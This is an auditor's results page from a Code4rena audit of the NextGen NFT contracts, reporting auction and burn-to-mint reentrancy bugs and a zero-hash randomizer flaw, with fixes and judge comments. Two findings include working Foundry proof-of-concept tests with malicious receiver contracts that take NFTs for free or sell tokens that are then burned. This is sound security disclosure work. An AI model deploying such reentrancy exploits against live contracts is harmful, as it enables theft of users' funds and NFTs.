NextGen - ast3ros's results

Advanced smart contracts for launching generative art projects on Ethereum.

General Information

Platform: Code4rena

Start Date: 30/10/2023

Pot Size: $49,250 USDC

Total HM: 14

Participants: 243

Period: 14 days

Judge: 0xsomeone

Id: 302

League: ETH

NextGen

Findings Distribution

Researcher Performance

Rank: 30/243

Findings: 3

Award: $501.11

🌟 Selected for report: 1

🚀 Solo Findings: 0

Findings Information

🌟 Selected for report: smiling_heretic

Also found by: 00decree, 00xSEV, 0x180db, 0x3b, 0x656c68616a, 0xAadi, 0xAleko, 0xAsen, 0xDetermination, 0xJuda, 0xMAKEOUTHILL, 0xMango, 0xMosh, 0xSwahili, 0x_6a70, 0xarno, 0xgrbr, 0xpiken, 0xsagetony, 3th, 8olidity, ABA, AerialRaider, Al-Qa-qa, Arabadzhiev, AvantGard, CaeraDenoir, ChrisTina, DanielArmstrong, DarkTower, DeFiHackLabs, Deft_TT, Delvir0, Draiakoo, Eigenvectors, Fulum, Greed, HChang26, Haipls, Hama, Inference, Jiamin, JohnnyTime, Jorgect, Juntao, Kaysoft, Kose, Kow, Krace, MaNcHaSsS, Madalad, MrPotatoMagic, Neon2835, NoamYakov, Norah, Oxsadeeq, PENGUN, REKCAH, Ruhum, Shubham, Silvermist, Soul22, SovaSlava, SpicyMeatball, Talfao, TermoHash, The_Kakers, Toshii, TuringConsulting, Udsen, VAD37, Vagner, Zac, Zach_166, ZdravkoHr, _eperezok, ak1, aldarion, alexfilippov314, alexxander, amaechieth, aslanbek, ast3ros, audityourcontracts, ayden, bdmcbri, bird-flu, blutorque, bronze_pickaxe, btk, c0pp3rscr3w3r, c3phas, cartlex_, cccz, ciphermarco, circlelooper, crunch, cryptothemex, cu5t0mpeo, darksnow, degensec, dethera, devival, dimulski, droptpackets, epistkr, evmboi32, fibonacci, gumgumzum, immeas, innertia, inzinko, jasonxiale, joesan, ke1caM, kimchi, lanrebayode77, lsaudit, mahyar, max10afternoon, merlin, mrudenko, nuthan2x, oakcobalt, openwide, orion, phoenixV110, pontifex, r0ck3tz, rotcivegaf, rvierdiiev, seeques, shenwilly, sl1, slvDev, t0x1c, tallo, tnquanghuy0512, tpiliposian, trachev, twcctop, vangrim, volodya, xAriextz, xeros, xuwinnie, y4y, yobiz, zhaojie

Awards

0 USDC - $0.00

Labels

bug
3 (High Risk)
partial-50
duplicate-1323

External Links

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/a6f2397b68ef2865374c1bf7629349f25e71a44d/hardhat/smart-contracts/AuctionDemo.sol#L104-L120 https://github.com/code-423n4/2023-10-nextgen/blob/a6f2397b68ef2865374c1bf7629349f25e71a44d/hardhat/smart-contracts/AuctionDemo.sol#L124-L130

Vulnerability details

Impact

This vulnerability allows the highest bidder to claim an NFT without paying for it, effectively receiving it for free. Additionally, other bidders are unable to withdraw their funds, resulting in a loss of funds.

Proof of Concept

When auction comes to an end, the highest bidder can call claimAuction to receive the NFT that he bidded.

File: smart-contracts/AuctionDemo.sol
104:     function claimAuction(uint256 _tokenid) public WinnerOrAdminRequired(_tokenid,this.claimAuction.selector){
105:         require(block.timestamp >= minter.getAuctionEndTime(_tokenid) && auctionClaim[_tokenid] == false && minter.getAuctionStatus(_tokenid) == true);
106:         auctionClaim[_tokenid] = true;
107:         uint256 highestBid = returnHighestBid(_tokenid);
108:         address ownerOfToken = IERC721(gencore).ownerOf(_tokenid);
109:         address highestBidder = returnHighestBidder(_tokenid);
110:         for (uint256 i=0; i< auctionInfoData[_tokenid].length; i ++) {
111:             if (auctionInfoData[_tokenid][i].bidder == highestBidder && auctionInfoData[_tokenid][i].bid == highestBid && auctionInfoData[_tokenid][i].status == true) {
112:                 IERC721(gencore).safeTransferFrom(ownerOfToken, highestBidder, _tokenid);
113:                 (bool success, ) = payable(owner()).call{value: highestBid}("");
114:                 emit ClaimAuction(owner(), _tokenid, success, highestBid);
115:             } else if (auctionInfoData[_tokenid][i].status == true) {
116:                 (bool success, ) = payable(auctionInfoData[_tokenid][i].bidder).call{value: auctionInfoData[_tokenid][i].bid}("");
117:                 emit Refund(auctionInfoData[_tokenid][i].bidder, _tokenid, success, highestBid);
118:             } else {}
119:         }
120:     }

https://github.com/code-423n4/2023-10-nextgen/blob/a6f2397b68ef2865374c1bf7629349f25e71a44d/hardhat/smart-contracts/AuctionDemo.sol#L104-L120

However, when block.timestamp = minter.getAuctionEndTime(_tokenid), the higest bidder can also cancel the bid.

File: smart-contracts/AuctionDemo.sol
124:     function cancelBid(uint256 _tokenid, uint256 index) public {
125:         require(block.timestamp <= minter.getAuctionEndTime(_tokenid), "Auction ended");
126:         require(auctionInfoData[_tokenid][index].bidder == msg.sender && auctionInfoData[_tokenid][index].status == true);
127:         auctionInfoData[_tokenid][index].status = false;
128:         (bool success, ) = payable(auctionInfoData[_tokenid][index].bidder).call{value: auctionInfoData[_tokenid][index].bid}("");
129:         emit CancelBid(msg.sender, _tokenid, index, success, auctionInfoData[_tokenid][index].bid);
130:     }

https://github.com/code-423n4/2023-10-nextgen/blob/a6f2397b68ef2865374c1bf7629349f25e71a44d/hardhat/smart-contracts/AuctionDemo.sol#L124-L130

Becaseu time is overlapped at minter.getAuctionEndTime(_tokenid) for both functions claimAuction and cancelBid, if the bidder is the smart contract, it can reentrant cancelBid when claimAuction and withdraw the bid amount out. It is possible because of the safeTransferFrom in line 112.

  • Save the code in test/nextGen.test.sol
  • Setup foundry and Run: forge test -vvvvv --match-contract NextGenCoreTest --match-test testcancelBidReentrancy

Scenario: there are two auction for tokens 10000000000 and 10000000001. Addr3 uses maliciousBidder contract to reentrant to get the NFT 10000000000 for free at the expense of funding in 10000000001 bidding.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;

import "forge-std/Test.sol";
import "../smart-contracts/NextGenCore.sol";
import "../smart-contracts/NextGenAdmins.sol";
import "../smart-contracts/NFTdelegation.sol";
import "../smart-contracts/XRandoms.sol";
import "../smart-contracts/RandomizerNXT.sol";
import "../smart-contracts/MinterContract.sol";
import "../smart-contracts/AuctionDemo.sol";
import "../smart-contracts/IERC721Receiver.sol";
import {console} from "forge-std/console.sol";

contract NextGenCoreTest is Test {
    NextGenCore hhCore;
    DelegationManagementContract hhDelegation;
    randomPool hhRandoms;
    NextGenAdmins hhAdmin;
    NextGenRandomizerNXT hhRandomizer;
    NextGenMinterContract hhMinter;
    auctionDemo hhAuctionDemo;

    address owner;
    address trustWallet;
    address addr1;
    address addr2;
    address addr3;
    address addr4;

    function setUp() public {
        owner = address(this);
        addr1 = vm.addr(1);
        addr2 = vm.addr(2);
        addr3 = vm.addr(3);
        addr3 = vm.addr(4);
        trustWallet = vm.addr(5);

        // Deploy contracts
        hhDelegation = new DelegationManagementContract();
        hhRandoms = new randomPool();
        hhAdmin = new NextGenAdmins();
        hhCore = new NextGenCore("Next Gen Core", "NEXTGEN", address(hhAdmin));
        hhRandomizer = new NextGenRandomizerNXT(
            address(hhRandoms),
            address(hhAdmin),
            address(hhCore)
        );
        hhMinter = new NextGenMinterContract(
            address(hhCore),
            address(hhDelegation),
            address(hhAdmin)
        );
    }

    function testcancelBidReentrancy() public {
        string[] memory collectionScript = new string[](1);
        collectionScript[0] = "desc";

        hhCore.createCollection(
            "Test Collection 1",
            "Artist 1",
            "For testing",
            "www.test.com",
            "CCO",
            "https://ipfs.io/ipfs/hash/",
            "",
            collectionScript
        );

        hhAdmin.registerCollectionAdmin(1, address(addr1), true);

        vm.prank(addr1);
        hhCore.setCollectionData(
            1, // _collectionID
            address(addr1), // _collectionArtistAddress
            2, // _maxCollectionPurchases
            10000, // _collectionTotalSupply
            0 // _setFinalSupplyTimeAfterMint
        );

        hhCore.addMinterContract(address(hhMinter));

        hhCore.addRandomizer(1, address(hhRandomizer));

        hhMinter.setCollectionCosts(
            1, // _collectionID
            0, // _collectionMintCost
            0, // _collectionEndMintCost
            0, // _rate
            5, // _timePeriod
            1, // _salesOptions
            0xD7ACd2a9FD159E69Bb102A1ca21C9a3e3A5F771B // delAddress
            // 0x0000000000000000000000000000000000000000
        );

        hhMinter.setCollectionPhases(
            1, // _collectionID
            1696931278, // _allowlistStartTime
            1696931280, // _allowlistEndTime
            1696931282, // _publicStartTime
            1796931284, // _publicEndTime
            bytes32(
                0x8e3c1713145650ce646f7eccd42c4541ecee8f07040fc1ac36fe071bbfebb870
            ) // _merkleRoot
        );

        vm.warp(1796931283);

        hhAuctionDemo = new auctionDemo(
            address(hhMinter),
            address(hhCore),
            address(hhAdmin)
        );

        vm.prank(trustWallet);
        hhCore.setApprovalForAll(address(hhAuctionDemo), true);

        // Auction NFT 10000000000
        hhMinter.mintAndAuction(
            trustWallet,
            '{"tdh": "100"}',
            2,
            1,
            1796931290
        );

        // Auction NFT 10000000001
        hhMinter.mintAndAuction(
            trustWallet,
            '{"tdh": "100"}',
            2,
            1,
            1796931295
        );

        // Participate bidding NFT 10000000001
        vm.deal(addr4, 3 ether);
        vm.prank(addr4);
        hhAuctionDemo.participateToAuction{value: 3 ether}(10000000001);

        // Participate bidding NFT 10000000000
        vm.warp(1796931289);
        vm.deal(addr1, 1 ether);
        vm.prank(addr1);
        hhAuctionDemo.participateToAuction{value: 1 ether}(10000000000);

        vm.deal(addr2, 2 ether);
        vm.prank(addr2);
        hhAuctionDemo.participateToAuction{value: 2 ether}(10000000000);

        // addr3 is the admin of maliciousBidder, it uses MaliciousContractCancelBidReentrancy to participate in the bidding.
        MaliciousContractCancelBidReentrancy maliciousBidder = new MaliciousContractCancelBidReentrancy(address(hhAuctionDemo));
        vm.deal(addr3, 3 ether);
        vm.prank(addr3);
        maliciousBidder.participate{value: 3 ether}(10000000000);

        // At the end of the auction, malicious bidder claim
        vm.warp(1796931290);
        vm.prank(addr3);
        maliciousBidder.claim(10000000000);


        // addr1 and addr2 are refunded.
        assertEq(address(addr1).balance, 1 ether);
        assertEq(address(addr2).balance, 2 ether);

        // addr3 get both the NFT and refund amount
        assertEq(address(maliciousBidder).balance, 3 ether);
        assertEq(hhCore.ownerOf(10000000000), address(maliciousBidder));

        // The fund for the 10000000001 auction is lost.
        assertEq(address(hhAuctionDemo).balance, 0 ether);

    }
}

contract MaliciousContractCancelBidReentrancy is IERC721Receiver {
    address public auction;
    
    constructor(address _auction) {
        auction = _auction;
    }

    function participate(uint256 _tokenId) external payable {
        auctionDemo(auction).participateToAuction{value:msg.value}(_tokenId);
    }

    function claim(uint256 _tokenId) external {
        auctionDemo(auction).claimAuction(_tokenId);
    }

    function onERC721Received(
        address _operator,
        address _from,
        uint256 _tokenId,
        bytes calldata _data
    ) external override returns (bytes4) {
        auctionDemo(auction).cancelAllBids(_tokenId);
        return IERC721Receiver.onERC721Received.selector;
    }

    receive() external payable {}
}

Tools Used

Manual

Modify the cancelBid function to only allow cancellation of bids before the auction's end time

    function cancelBid(uint256 _tokenid, uint256 index) public {
-       require(block.timestamp <= minter.getAuctionEndTime(_tokenid), "Auction ended");
+       require(block.timestamp < minter.getAuctionEndTime(_tokenid), "Auction ended");
        require(auctionInfoData[_tokenid][index].bidder == msg.sender && auctionInfoData[_tokenid][index].status == true);
        auctionInfoData[_tokenid][index].status = false;
        (bool success, ) = payable(auctionInfoData[_tokenid][index].bidder).call{value: auctionInfoData[_tokenid][index].bid}("");
        emit CancelBid(msg.sender, _tokenid, index, success, auctionInfoData[_tokenid][index].bid);
    }

Assessed type

Reentrancy

#0 - c4-pre-sort

2023-11-15T05:22:36Z

141345 marked the issue as duplicate of #962

#1 - c4-judge

2023-12-04T21:41:58Z

alex-ppg marked the issue as duplicate of #1323

#2 - c4-judge

2023-12-08T17:47:56Z

alex-ppg marked the issue as partial-50

Findings Information

🌟 Selected for report: Haipls

Also found by: 00xSEV, Draiakoo, PetarTolev, Udsen, VAD37, ast3ros, gumgumzum, r0ck3tz

Labels

bug
2 (Med Risk)
partial-50
sufficient quality report
duplicate-1627

Awards

252.1973 USDC - $252.20

External Links

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/58090c9fbc036c06bbaa9600ec326034f2181a17/hardhat/smart-contracts/RandomizerRNG.sol#L48-L50 https://github.com/code-423n4/2023-10-nextgen/blob/58090c9fbc036c06bbaa9600ec326034f2181a17/hardhat/smart-contracts/NextGenCore.sol#L299-L303

Vulnerability details

Impact

The fulfillRandomWords call will revert and the NFT random hash cannot be set. The NFT will be corrupted.

Proof of Concept

When generating the random hash using Arrng, after getting the numbers, it packs the numbers with tokenID and cast to bytes32 to get the random hash. This casting truncates the packed data to its first 256 bits.

bytes32(abi.encodePacked(numbers,requestToToken[id]))
File: smart-contracts/RandomizerRNG.sol
48:     function fulfillRandomWords(uint256 id, uint256[] memory numbers) internal override {
49:         gencoreContract.setTokenHash(tokenIdToCollection[requestToToken[id]], requestToToken[id], bytes32(abi.encodePacked(numbers,requestToToken[id])));
50:     }

https://github.com/code-423n4/2023-10-nextgen/blob/58090c9fbc036c06bbaa9600ec326034f2181a17/hardhat/smart-contracts/RandomizerRNG.sol#L48-L50

If the returned random number is 0, it means that the packed bytes will be 0x0000000000000000000000000000000000000000000000000000000000000000 despite of the token id.

Chisel output

chisel Welcome to Chisel! Type `!help` to show available commands. ➜ uint256[] memory numbers = new uint256[](1); ➜ numbers[0] = 0; ➜ uint256 id = 10000000000; ➜ bytes32 c = bytes32(abi.encodePacked(numbers, id)); ➜ c Type: bytes32 └ Data: 0x0000000000000000000000000000000000000000000000000000000000000000 ➜

However, if the _hash is 0x0000000000000000000000000000000000000000000000000000000000000000 then the gencoreContract.setTokenHash call will revert. The tokenToHash is not set.

File: smart-contracts/NextGenCore.sol
299:     function setTokenHash(uint256 _collectionID, uint256 _mintIndex, bytes32 _hash) external {
300:         require(msg.sender == collectionAdditionalData[_collectionID].randomizerContract);
301:         require(tokenToHash[_mintIndex] == 0x0000000000000000000000000000000000000000000000000000000000000000);
302:         tokenToHash[_mintIndex] = _hash;
303:     }

https://github.com/code-423n4/2023-10-nextgen/blob/58090c9fbc036c06bbaa9600ec326034f2181a17/hardhat/smart-contracts/NextGenCore.sol#L299-L303

The same issue can happen to RandomizerVRF despite the probability of returning 0 is very low.

Tools Used

Manual

To prevent the potential for a zero hash, modify the hash generation in RandomizerRNG to use keccak256 instead of abi.encodePacked

    function fulfillRandomWords(uint256 id, uint256[] memory numbers) internal override {
-        gencoreContract.setTokenHash(tokenIdToCollection[requestToToken[id]], requestToToken[id], bytes32(abi.encodePacked(numbers,requestToToken[id])));
+        gencoreContract.setTokenHash(tokenIdToCollection[requestToToken[id]], requestToToken[id], keccak256(abi.encodePacked(numbers,requestToToken[id])));
    }

Assessed type

en/de-code

#0 - c4-pre-sort

2023-11-20T09:13:34Z

141345 marked the issue as sufficient quality report

#1 - c4-pre-sort

2023-11-22T08:58:04Z

141345 marked the issue as duplicate of #852

#2 - c4-judge

2023-12-06T15:56:15Z

alex-ppg changed the severity to QA (Quality Assurance)

#3 - c4-judge

2023-12-10T14:25:43Z

This previously downgraded issue has been upgraded by alex-ppg

#4 - c4-judge

2023-12-10T14:26:28Z

alex-ppg marked the issue as duplicate of #1688

#5 - c4-judge

2023-12-10T14:28:11Z

alex-ppg marked the issue as partial-50

Findings Information

Labels

bug
2 (Med Risk)
downgraded by judge
primary issue
satisfactory
selected for report
sponsor confirmed
sufficient quality report
M-03

Awards

248.9091 USDC - $248.91

External Links

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/58090c9fbc036c06bbaa9600ec326034f2181a17/hardhat/smart-contracts/NextGenCore.sol#L213-L223 https://github.com/code-423n4/2023-10-nextgen/blob/58090c9fbc036c06bbaa9600ec326034f2181a17/hardhat/smart-contracts/NextGenCore.sol#L227-L232

Vulnerability details

Impact

The current implementation of the burnToMint function in the NextGenCore.sol smart contract permits a contract holder to both burn and sell the same NFT, effectively exploiting it to mint a new NFT. This leads to potential fraudulent activities when trading the NFT.

Proof of Concept

The vulnerability stems from the order of operations in the burnToMint function. Currently, a new token is minted (_mintProcessing) before the existing token is burned (_burn). This sequence of operations opens a window for exploitation:

File: smart-contracts/NextGenCore.sol
213:     function burnToMint(uint256 mintIndex, uint256 _burnCollectionID, uint256 _tokenId, uint256 _mintCollectionID, uint256 _saltfun_o, address burner) external {
214:         require(msg.sender == minterContract, "Caller is not the Minter Contract");
215:         require(_isApprovedOrOwner(burner, _tokenId), "ERC721: caller is not token owner or approved");
216:         collectionAdditionalData[_mintCollectionID].collectionCirculationSupply = collectionAdditionalData[_mintCollectionID].collectionCirculationSupply + 1;
217:         if (collectionAdditionalData[_mintCollectionID].collectionTotalSupply >= collectionAdditionalData[_mintCollectionID].collectionCirculationSupply) {
218:             _mintProcessing(mintIndex, ownerOf(_tokenId), tokenData[_tokenId], _mintCollectionID, _saltfun_o);
219:             // burn token
220:             _burn(_tokenId);
221:             burnAmount[_burnCollectionID] = burnAmount[_burnCollectionID] + 1;
222:         }
223:     }

https://github.com/code-423n4/2023-10-nextgen/blob/58090c9fbc036c06bbaa9600ec326034f2181a17/hardhat/smart-contracts/NextGenCore.sol#L213-L223

The _mintProcessing function calls _safeMint, which in turn can trigger arbitrary code execution if the recipient is a contract. This allows for manipulation such as transferring the NFT (set to be burned) to another user before the burn occurs:

File: smart-contracts/NextGenCore.sol
227:     function _mintProcessing(uint256 _mintIndex, address _recipient, string memory _tokenData, uint256 _collectionID, uint256 _saltfun_o) internal {
228:         tokenData[_mintIndex] = _tokenData;
229:         collectionAdditionalData[_collectionID].randomizer.calculateTokenHash(_collectionID, _mintIndex, _saltfun_o);
230:         tokenIdsToCollectionIds[_mintIndex] = _collectionID;
231:         _safeMint(_recipient, _mintIndex);
232:     }

https://github.com/code-423n4/2023-10-nextgen/blob/58090c9fbc036c06bbaa9600ec326034f2181a17/hardhat/smart-contracts/NextGenCore.sol#L227-L232

A malicious actor can exploit this by listing the NFT for sale. When there is a buy offer, the malicious contract can call burnToMint to receive the new NFT and simultaneously accept an offer to buy the original NFT, resulting in the original NFT being burned but still sold, effectively duping the buyer.

In this POC scenario, there are two collection 1 and 2. The admin is set so that users can burn token in collection 1 to mint token in collection 2.

  • A malicious contract has the token 10000000000 of collection 1, it lists the token 10000000000 in the marketplace.
  • addr3 offer to buy the token 10000000000 from the malicious contract.
  • The malicious contract calls burnToMint, stimulously receive token 20000000000 from collection 2 and accept offer to buy 10000000000 from addr3.
  • In the end, token 10000000000 is burnt and addr3 receive nothing. The malicious contract receives both token 20000000000 from burnToMint and proceed from the sales of token 10000000000.

POC:

  • Save the code in test/nextGen.test.sol
  • Setup foundry and Run: forge test -vvvvv --match-contract NextGenCoreTest --match-test testBurnToMintReentrancy
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;

import "forge-std/Test.sol";
import "../smart-contracts/NextGenCore.sol";
import "../smart-contracts/NextGenAdmins.sol";
import "../smart-contracts/NFTdelegation.sol";
import "../smart-contracts/XRandoms.sol";
import "../smart-contracts/RandomizerNXT.sol";
import "../smart-contracts/MinterContract.sol";
import "../smart-contracts/AuctionDemo.sol";
import "../smart-contracts/IERC721Receiver.sol";
import {console} from "forge-std/console.sol";

contract NextGenCoreTest is Test {
    NextGenCore hhCore;
    DelegationManagementContract hhDelegation;
    randomPool hhRandoms;
    NextGenAdmins hhAdmin;
    NextGenRandomizerNXT hhRandomizer;
    NextGenMinterContract hhMinter;
    auctionDemo hhAuctionDemo;

    address owner;
    address addr1;
    address addr2;
    address addr3;

    function setUp() public {
        owner = address(this);
        addr1 = vm.addr(1);
        addr2 = vm.addr(2);
        addr3 = vm.addr(3);

        // Deploy contracts
        hhDelegation = new DelegationManagementContract();
        hhRandoms = new randomPool();
        hhAdmin = new NextGenAdmins();
        hhCore = new NextGenCore("Next Gen Core", "NEXTGEN", address(hhAdmin));
        hhRandomizer = new NextGenRandomizerNXT(
            address(hhRandoms),
            address(hhAdmin),
            address(hhCore)
        );
        hhMinter = new NextGenMinterContract(
            address(hhCore),
            address(hhDelegation),
            address(hhAdmin)
        );
    }

        function testBurnToMintReentrancy() public {

        // Setting up, creating 2 collections for burnToMint
        string[] memory collectionScript = new string[](1);
        collectionScript[0] = "desc";

        hhCore.createCollection(
            "Test Collection 1",
            "Artist 1",
            "For testing",
            "www.test.com",
            "CCO",
            "https://ipfs.io/ipfs/hash/",
            "",
            collectionScript
        );

        hhCore.createCollection(
            "Test Collection 2",
            "Artist 2",
            "For testing",
            "www.test.com",
            "CCO",
            "https://ipfs.io/ipfs/hash/",
            "",
            collectionScript
        );

        hhAdmin.registerCollectionAdmin(1, address(addr1), true);
        hhAdmin.registerCollectionAdmin(1, address(addr2), true);

        vm.prank(addr1);
        hhCore.setCollectionData(
            1, // _collectionID
            address(addr1), // _collectionArtistAddress
            2, // _maxCollectionPurchases
            10000, // _collectionTotalSupply
            0 // _setFinalSupplyTimeAfterMint
        );

        hhCore.setCollectionData(
            2, // _collectionID
            address(addr2), // _collectionArtistAddress
            2, // _maxCollectionPurchases
            10000, // _collectionTotalSupply
            0 // _setFinalSupplyTimeAfterMint
        );

        hhCore.addMinterContract(address(hhMinter));

        hhCore.addRandomizer(1, address(hhRandomizer));
        hhCore.addRandomizer(2, address(hhRandomizer));

        hhMinter.setCollectionCosts(
            1, // _collectionID
            0, // _collectionMintCost
            0, // _collectionEndMintCost
            0, // _rate
            5, // _timePeriod
            1, // _salesOptions
            0xD7ACd2a9FD159E69Bb102A1ca21C9a3e3A5F771B // delAddress
            // 0x0000000000000000000000000000000000000000
        );

        hhMinter.setCollectionCosts(
            2, // _collectionID
            0, // _collectionMintCost
            0, // _collectionEndMintCost
            0, // _rate
            5, // _timePeriod
            1, // _salesOptions
            0xD7ACd2a9FD159E69Bb102A1ca21C9a3e3A5F771B // delAddress
            // 0x0000000000000000000000000000000000000000
        );

        hhMinter.setCollectionPhases(
            1, // _collectionID
            1696931278, // _allowlistStartTime
            1696931280, // _allowlistEndTime
            1696931282, // _publicStartTime
            1796931284, // _publicEndTime
            bytes32(
                0x8e3c1713145650ce646f7eccd42c4541ecee8f07040fc1ac36fe071bbfebb870
            ) // _merkleRoot
        );

        hhMinter.setCollectionPhases(
            2, // _collectionID
            1696931278, // _allowlistStartTime
            1696931280, // _allowlistEndTime
            1696931282, // _publicStartTime
            1796931284, // _publicEndTime
            bytes32(
                0x8e3c1713145650ce646f7eccd42c4541ecee8f07040fc1ac36fe071bbfebb870
            ) // _merkleRoot
        );

        bytes32[] memory merkleRoot = new bytes32[](1);
        merkleRoot[
            0
        ] = 0x8e3c1713145650ce646f7eccd42c4541ecee8f07040fc1ac36fe071bbfebb870;

        hhMinter.initializeBurn(1, 2, true);
        
        // Deploy a malicious contract to receive token 10000000000, later burn token 10000000000 to receive token 20000000000
        MaliciousContract maliciousContract = new MaliciousContract(address(hhCore), address(addr2), address(addr3));

        vm.warp(1796931283);

        // Mint token 10000000000 to malicious contract
        hhMinter.mint(
            1, // _collectionID
            1, // _numberOfTokens
            0, // _maxAllowance
            '{"tdh": "100"}', // _tokenData
            address(maliciousContract), // _mintTo
            merkleRoot, // _merkleRoot
            address(addr1), // _delegator
            2 //_varg0
        );

        // Malicious contract approve to addr2 so addr2 can call burnToMint on behalf of the malicious contract
        vm.prank(addr2);
        maliciousContract.approveToken();

        vm.prank(addr2);
        hhMinter.burnToMint(1, 10000000000, 2, 100);

        assertEq(hhCore.ownerOf(20000000000), address(maliciousContract)); // Malicious contract receives token 20000000000 after burnToMint.
        assertEq(hhCore.balanceOf(address(addr3)), 0); // NFT of addr3 is burnt
    }
}

contract MaliciousContract is IERC721Receiver {
    address public collection;
    address public admin;
    address public receiver;
    uint256 tokenIdToBurn = 10000000000;
    uint256 tokenIdToReceive = 20000000000;
    
    constructor(address _collection, address _admin, address _receiver) {
        collection = _collection;
        admin = _admin;
        receiver = _receiver;
    }

    function approveToken() external {
        require(msg.sender == admin);
        NextGenCore(collection).setApprovalForAll(admin, true);
    }

    function onERC721Received(
        address _operator,
        address _from,
        uint256 _tokenId,
        bytes calldata _data
    ) external override returns (bytes4) {
        if (_tokenId == tokenIdToBurn) {
            return IERC721Receiver.onERC721Received.selector;
        } else if (_tokenId == tokenIdToReceive) {
            // after receive the token, accept the sale offer immediately to send the token to buyer. To simplify, call transfer to the buyer
            NextGenCore(collection).transferFrom(address(this), receiver, tokenIdToBurn);
            return IERC721Receiver.onERC721Received.selector;
        }
        
    }
}

Tools Used

Manual

The order of operations in the burnToMint function should be revised to ensure that the token is burned before a new one is minted:

    function burnToMint(uint256 mintIndex, uint256 _burnCollectionID, uint256 _tokenId, uint256 _mintCollectionID, uint256 _saltfun_o, address burner) external {
        require(msg.sender == minterContract, "Caller is not the Minter Contract");
        require(_isApprovedOrOwner(burner, _tokenId), "ERC721: caller is not token owner or approved");
        collectionAdditionalData[_mintCollectionID].collectionCirculationSupply = collectionAdditionalData[_mintCollectionID].collectionCirculationSupply + 1;
        if (collectionAdditionalData[_mintCollectionID].collectionTotalSupply >= collectionAdditionalData[_mintCollectionID].collectionCirculationSupply) {
-           _mintProcessing(mintIndex, ownerOf(_tokenId), tokenData[_tokenId], _mintCollectionID, _saltfun_o);
            // burn token
            _burn(_tokenId);
            burnAmount[_burnCollectionID] = burnAmount[_burnCollectionID] + 1;
+           _mintProcessing(mintIndex, ownerOf(_tokenId), tokenData[_tokenId], _mintCollectionID, _saltfun_o);
        }
    }

Assessed type

Reentrancy

#0 - c4-pre-sort

2023-11-20T09:23:54Z

141345 marked the issue as primary issue

#1 - a2rocket

2023-11-23T06:04:42Z

the proposed mitigation is not fully corrected as you need to store the current owner of the token before burning it and use that into safeMint. If you do it like its proposed the safeMint will not be able to send the token.

#2 - c4-sponsor

2023-11-23T06:05:08Z

a2rocket (sponsor) confirmed

#3 - c4-pre-sort

2023-11-26T13:59:53Z

141345 marked the issue as sufficient quality report

#4 - c4-pre-sort

2023-11-26T14:02:21Z

141345 marked the issue as duplicate of #1742

#5 - c4-judge

2023-11-29T19:52:54Z

alex-ppg marked the issue as not a duplicate

#6 - c4-judge

2023-11-29T19:53:00Z

alex-ppg marked the issue as primary issue

#7 - alex-ppg

2023-12-05T12:24:45Z

The Warden has showcased that due to the absence of the Checks-Effects-Interactions pattern, it is possible to utilize an NFT to-be-burned (f.e. to sell it) before the actual burning operation is executed.

While the recommended alleviation does not work as expected per the Sponsor's comments, the submission is valid as it can cause the recipient of an NFT (if an open sale exists) to lose their value and not acquire any NFT.

I will downgrade this to a medium severity vulnerability per the judging guidelines as the only loss-of-value is a hypothetical value of an external protocol (i.e. trading one) rather than the NextGen system.

#8 - c4-judge

2023-12-05T12:24:57Z

alex-ppg changed the severity to 2 (Med Risk)

#9 - c4-judge

2023-12-07T11:08:07Z

alex-ppg marked the issue as selected for report

#10 - c4-judge

2023-12-07T11:08:16Z

alex-ppg marked the issue as satisfactory

#11 - alex-ppg

2023-12-07T11:08:49Z

The Warden's submission was selected as the best due to a correct title, cleaner & concise representation throughout, and illustrative recommended mitigation.

AuditHub

A portfolio for auditors, a security profile for protocols, a hub for web3 security.

Built bymalatrax © 2024

Auditors

Browse

Contests

Browse

Get in touch

ContactTwitter